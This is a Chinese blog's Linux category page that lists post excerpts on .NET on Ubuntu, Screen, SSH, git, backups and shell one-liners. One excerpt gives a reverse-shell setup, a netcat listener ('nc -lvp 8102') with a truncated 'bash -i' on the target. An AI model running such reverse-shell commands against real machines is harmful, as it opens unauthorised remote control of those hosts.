Linux
文章平均质量分 70
郝伟博士
郝伟,男,留日计算机博士,副研究员,硕士生导师。师从东京大学松崎公纪教授,主要研究方向为网络安全、并行计算与大数据,尤其是在网络环境下大数据安全性的研究。北京华云安信息技术有限公司首席研究员,中新网安技术研究员,上海莱镁晟信息科技有限公司技术顾问。参与国家973项目和国家科技重大专项各1项,主持国家科研项目1项,13项国家发明专利,各类论文25篇,合肥市政认定高层次人才。与清华大学、海克斯康、国防科技大学等多家单位有技术合作。
展开
-
在 Linux(Ubuntu 18)下运行 .NET 6 程序
从.Net core 开始,微软就实现了.Net的跨平台能力。在本文中,笔者使用Ubuntu 18.04.6 LTS上运行一个测试项目,以演示Linux下.Net6.0 的编译方法。原创 2022-02-23 06:36:47 · 6058 阅读 · 1 评论 -
Linux常用命令使用经验汇总
2021/02/04 一行代码统计不同代码的行数,字母数和字符数for file in *.cpp *.java *.cs; do find -name $file | xargs -I {} wc {}; done修改为:for file in *.cpp *.java *.cs; do find -name $file | xargs wc ; done还会带有第一项的统计功能,且速度也更快2020/12/07 A创建B的反弹Shell本机:nc -lvp 8102目标:bash -i原创 2021-11-01 15:57:53 · 415 阅读 · 0 评论 -
一行命令统计出多个文件夹中的多种类型的代码行数
问题现在有这些文件夹,里面有不类类型的文件,包括Java,C#和C++。如果我们想知识中间的代码行数应该如何完成呢?drwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200105_MemorySpeedTestdrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200411_EmbededEncryptiondrwxrwxrwx 1 hao hao 4.0K Feb 4 17:15 20200412_EncryptTestdrwxrw原创 2021-02-05 07:30:52 · 406 阅读 · 0 评论 -
在Ubuntu18.04上运行.NET 5.0 之 Hello World
本文记录了在Ubuntu下安装和配置.Net 5.0 的整个过程和相关细节。对初次部署环境的用户有极大的帮助作用。原创 2020-12-03 13:03:39 · 2719 阅读 · 1 评论 -
如何在远程服务器建立Git并拉回本地
文章目录简介前提条件拉回操作注意事项简介在远程服务器上建立了一个git仓库后,如何拉回本地呢?尤其是目录的关系是怎样的?本文将说明这个问题。前提条件首先,本文假定已有服务器 server01 已经完成了免密配置,可以使用 ssh server01直接免密登陆。其次,在 server01 上已经建立git仓库,其目录为: ssum:/home/lcy/repo/test.git,建立方法为如下:$ ssh server01 # 登陆$ mkdir -r /home/lcy/repo/test.g原创 2020-11-29 19:19:46 · 186 阅读 · 0 评论 -
在一台Linux服务器上自动备份另一台Linux服务器的数据
环境介绍现在有2台机器,1台服务器S,1台实验用服务器T,现在需要将S上的数据备份到T上。备份脚本脚本 /home/hao/task.sh 内容如下所示:#!/bin/bashcurTime=$(date +"%Y_%m_%d")echo "scp s149:/home/Huaun/backups/conf/backup-$curTime.zip /mnt/usb16g/backups/conf"scp s149:/home/Huaun/backups/conf/backup-$curTime原创 2020-10-26 20:01:49 · 1351 阅读 · 0 评论 -
在Ubuntu 18.04.5和CentOS7下设置开机启动(实测可行)
说明在网上看了很多设置启动的文章,试了好几个都有问题,经过多次尝试,终于设置成功。本文就介绍了整个设置过程。Step 1:创建并编译 /etc/rc.local 文件先输入以下内容对 /etc/rc.local 进行编辑。$ vi /etc/rc.local然后输入以下内容#!/bin/bashDate=$(date +'%Y/%m/%D %H:%M:%S')echo "Current datetime: $Date." >> /root/log.txt本段代码只是一个简单的原创 2020-10-22 08:55:06 · 297 阅读 · 0 评论 -
使用AWK和XARGS为文件批量改名
需求现在文件下有N个视频文件,名称如下所示:hao@Hao-Hasee:/mnt/d/BaiduDownloads$ ls -lshtotal 14G1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 18:32 医.2014.03.mkv1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 18:36 医.2014.04.mkv1.7G -rwxrwxrwx 1 hao hao 1.7G Oct 7 19:08 医.2014.05.mkv1.7原创 2020-10-07 20:03:54 · 961 阅读 · 0 评论 -
以Python为例在Linux配置可切换的程序版本
文章目录简介准备工作配置可切换版本版本切换参考资料简介随时程序的不断升级,我们经常会同时使用多个版本。为了实现这个需求,本文以Python3.6和3.8为例,介绍如何进行两个版本的同时可用。准备工作假设我们已经安装好了Python3.6和3.8,此时运行 python3 显示以下内容:root@server00:~# python3 -VPython 3.6.9此时查看 /usr/bin 目录下的python 程序可以看到以下内容:root@server00:~# root@server0原创 2020-10-06 11:44:00 · 272 阅读 · 0 评论 -
在Ubuntu下访问Windows共享文件夹
文章目录要求操作流程1. 安装必要的文件2. 验证安装是否正常3. 将Windows共享文件夹与本地文件夹关联注意要求在Ubuntu下进行配置,从而可以访问 192.168.3.6 的主机共享的文件夹 shared.操作流程1. 安装必要的文件这里需要安装两个程序:$ sudo apt install smbclient # 共享文件夹访问程序$ sudo apt install cifs-utils # 外挂共享文件夹程序 2. 验证安装是否正常smbclient -L 19原创 2020-08-15 15:15:16 · 1652 阅读 · 0 评论 -
自动化控制远程服务器的一些知识
关于SSH登陆的一些知识两个SSH登陆内运行程序时是否完全独立完全独立。。用户A能否看到用户B运行的程序?可以看到,使用 ps -aux 即可。如何关闭指定名称的线程。如果名称中有 hwtests,那么可以使用 kill -9 $(pidof hwtests) 进行关闭,不过如果线程不存在会报错SSH远程运行的程序会长期存在吗?有两种运行模式,一种是阻塞运行,即运行时会阻塞到命令行处,一旦断开则程序会中止;另一种是使用如Screen之类的命令,可以无阻塞地进行。如何使用xargs可以原创 2020-08-04 13:22:46 · 541 阅读 · 0 评论 -
部署Windows下开发的.Net Core程序至Linux系统
在Windows上开发,然后发布开发好的应用到Linux服务器是一个非常常见的流程。在.Net Core 开发中,同样也有这个流程,本文以图文形式就如何部署Windows下开发的.Net Core程序至Ubuntu系统进行介绍。原创 2020-04-13 08:06:55 · 1778 阅读 · 2 评论 -
为Screen的连接起个名子以避免混淆
在Linux中,Screen是一个非常有用的工具,我们可以将程序在服务器端运行,然后使用Screen断开并保持程序的正常运行。但是Screen有一个问题,就是每个连接的名称是 `pid.tty.host` 的格式,看上去不是很清楚,所以全文给出一个方案以解决此问题。原创 2020-02-09 17:50:01 · 455 阅读 · 0 评论 -
Linux 命令之 Screen
本文很多资料都是从网上转载并且都在最后附了转载的链接。但是由于内容较多,并未在文中一一标记出来,如有冒犯请与本人联系。1 前言通常情况下,在使用SSH连接远程服务器进行长时间的任务处理时,如数据任务处理、系统数据备份等,我们都是为每一个这样的任务开一个远程终端窗口。但是由于因为它们连接的时间太长,可能会因系统限制中断连接,也或者各种意外断开连接,而导致这个任务就会被杀掉,一切半途而废了。为了解...转载 2019-03-12 07:49:09 · 535 阅读 · 0 评论 -
在 Windows 2019 上运行的 Linux 子系统!
本文资料主要参考微软官网:https://docs.microsoft.com/en-us/windows/wsl/about前言过去,想在Windows上运行 Linux 无非是使用虚拟机技术,如VMWare, VitualBox或者是微软自家的Hyper-V。使用虚拟技术的Linux虽然可以运行,但是存在以下几点问题:速度不如原生的(众所周知)数据交互比较麻烦(各种共享技能要么麻烦,...原创 2019-03-21 14:59:19 · 3031 阅读 · 0 评论 -
[学习笔记] 在全新的运行Ubuntu18.0.4的百度云服务器上安装Tomcat8
Step 1:安装Java 运行环境# 更新软件包列表sudo apt-get update# 安装 java8sudo apt-get install openjdk-8-jdk# 检查 java 是否安装成功java -versionStep 2:安装 Tomcat8# 安装 tomtac8sudo apt-get install tomcat8 tomcat8-docs ...原创 2019-04-03 10:48:18 · 793 阅读 · 0 评论 -
在 Hyper-V 中修改 Ubuntu 的分辨率
在 Hyper-V 中,由于默认分辨率不能直接修改,所以需要手工按以下四步完成修改。编辑配置文件,注意这个文件默认为只需要,需要管理员权限。$ sudo vi /etc/default/grub找到GRUB_CMDLINE_LINUX_DEFAULT这一行,追加 video=hyperv_fb:1920x1080,后面的数据即为目标分辨率,如下图所示为修改后的内容。更新结果使...原创 2019-04-26 16:55:19 · 2918 阅读 · 0 评论 -
配置CentOS的网络
在完成安装以后,CentOS默认是没有网络的,进行进行以下的配置。先使用 ipconfig 查看本地网络, 获得以下信息。 连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::b18e:49c0:8194:79e4%4 IPv4 地址 . . . . . . . . . . . . : 192....原创 2019-04-30 14:17:51 · 771 阅读 · 0 评论 -
使用 sysctl 命令查看苹果笔记本macOS系统CPU等硬件详细信息
在Linux操作系统中,可以使用 /proc/ 目录下的命令查看,如:cat /proc/cpuinfo 查看CPU信息。然而在macOSX系统中,此却命令不可用。不过好在系统提供了另外一个可能的命令 sysctl,如:sysctl machdep.cpu.brand_string 可以查看CPU品牌信息。除了可以使用参数 machdep.cpu.brand_string 查看CPU品牌信息,...原创 2019-05-25 18:53:48 · 13795 阅读 · 0 评论 -
MacOS Terminal 常用快捷键大全
文章目录常用功能键控制窗体和页 | Work with Terminal windows and tabs编辑命令行 | Edit a command line选择操作 | Select and find text in a Terminal window快捷键组合 | Key Combinations操作 | Operations标记和书签 | Work with marks and bookm...原创 2019-05-26 09:39:54 · 2599 阅读 · 0 评论 -
从零开始在远程 Ubuntu 16.04.6 LTS 主机上安装Tomcat8
https://blog.csdn.net/mineppn/article/details/80139704https://blog.csdn.net/mucaoyx/article/details/829494501 任务要求使用 root 帐户在运行 Ubuntu16.0.4.6 LTS 的远程主机 106.12.31.101 上安装 Tomcat8.5.2 五步安装Java8Jav...原创 2019-06-06 21:32:09 · 815 阅读 · 1 评论 -
【实战】三种方法彻底有效地解决SSH的 Write failed: Broken pipe 问题
本文通过实战经验结合原理分析,总结了三种行之有效的方法,并经过大量读者验证,确实能够彻底解决Write failed: Broken pipe问题。在使用SSH连接远程服务器的时候,如果长时间不操作,再次进入 Terminal 时就会有卡死一段时间没有响应。等待一段时间以后,会发现以下错误提示:Write failed: Broken pipe,表示连接管道已经断开,所以只能重进行连接。本文提供了三种办法彻底解决此问题。原创 2019-02-13 13:39:24 · 51532 阅读 · 0 评论